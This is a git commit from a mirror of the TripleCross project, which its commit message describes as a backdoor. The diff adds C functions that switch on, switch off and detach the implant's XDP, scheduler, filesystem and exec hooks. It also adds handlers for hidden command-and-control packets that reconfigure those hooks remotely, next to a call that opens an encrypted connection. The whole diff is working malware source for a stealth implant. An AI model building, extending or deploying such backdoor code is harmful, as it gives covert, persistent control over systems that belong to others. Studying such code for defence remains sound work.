mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-30 05:03:08 +08:00
Added new hidden packets, commands and rest of structure to activate and deactivate hooks from the backdoor
This commit is contained in:
@@ -81,3 +81,59 @@ int setup_all_modules(){
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int activate_all_modules_config(){
|
||||
//XDP
|
||||
module_config.xdp_module.all = ON;
|
||||
|
||||
//SCHED
|
||||
module_config.sched_module.all = ON;
|
||||
|
||||
//FS (File system)
|
||||
module_config.fs_module.all = ON;
|
||||
|
||||
//EXEC
|
||||
module_config.exec_module.all = ON;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int deactivate_all_modules_config(){
|
||||
//XDP
|
||||
module_config.xdp_module.all = OFF;
|
||||
|
||||
//SCHED
|
||||
module_config.sched_module.all = OFF;
|
||||
|
||||
//FS (File system)
|
||||
module_config.fs_module.all = OFF;
|
||||
|
||||
//EXEC
|
||||
module_config.exec_module.all = OFF;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int unhook_all_modules(){
|
||||
//Alias
|
||||
module_config_attr_t attr = module_config_attr;
|
||||
int ret;
|
||||
|
||||
//XDP
|
||||
ret = detach_xdp_all(attr.skel);
|
||||
if(ret!=0) return -1;
|
||||
|
||||
//SCHED
|
||||
ret = detach_sched_all(attr.skel);
|
||||
if(ret!=0) return -1;
|
||||
|
||||
//FS (File system)
|
||||
ret = detach_fs_all(attr.skel);
|
||||
if(ret!=0) return -1;
|
||||
|
||||
//EXEC
|
||||
detach_exec_all(attr.skel);
|
||||
if(ret!=0) return -1;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -71,4 +71,26 @@ extern module_config_attr_t module_config_attr;
|
||||
*/
|
||||
int setup_all_modules();
|
||||
|
||||
/**
|
||||
* @brief Removes all hooks, independently on the module_config.
|
||||
* Useful for reloading the modules.
|
||||
*
|
||||
* @return 0 if ok, -1 if error
|
||||
*/
|
||||
int unhook_all_modules();
|
||||
|
||||
/**
|
||||
* @brief Sets the module_config with all hooks activated
|
||||
*
|
||||
* @return 0 if ok, -1 if error
|
||||
*/
|
||||
int activate_all_modules_config();
|
||||
|
||||
/**
|
||||
* @brief Sets the module_config with all hooks deactivated
|
||||
*
|
||||
* @return 0 if ok, -1 if error
|
||||
*/
|
||||
int deactivate_all_modules_config();
|
||||
|
||||
#endif
|
||||
@@ -91,6 +91,7 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
|
||||
//For time displaying
|
||||
struct tm *tm;
|
||||
char ts[32];
|
||||
int ret;
|
||||
time_t t;
|
||||
time(&t);
|
||||
tm = localtime(&t);
|
||||
@@ -112,6 +113,20 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
|
||||
//TODO EXTRACT IP FROM KERNEL BUFFER
|
||||
printf("Starting encrypted connection\n");
|
||||
client_run("127.0.1.1", 8500);
|
||||
break;
|
||||
case CC_PROT_COMMAND_HOOK_ACTIVATE_ALL:
|
||||
printf("Activating all hooks as requested\n");
|
||||
activate_all_modules_config();
|
||||
ret = unhook_all_modules();
|
||||
if(ret<0) printf("Failed to complete command: unhook all\n");
|
||||
ret = setup_all_modules();
|
||||
if(ret<0) printf("Failed to complete command: setup modules\n");
|
||||
break;
|
||||
case CC_PROT_COMMAND_HOOK_DEACTIVATE_ALL:
|
||||
printf("Deactivating all hooks as requested\n");
|
||||
deactivate_all_modules_config();
|
||||
ret = unhook_all_modules();
|
||||
if(ret<0) printf("Failed to complete command: unhook all\n");
|
||||
break;
|
||||
default:
|
||||
printf("Command received unknown: %d\n", e->code);
|
||||
|
||||
Reference in New Issue
Block a user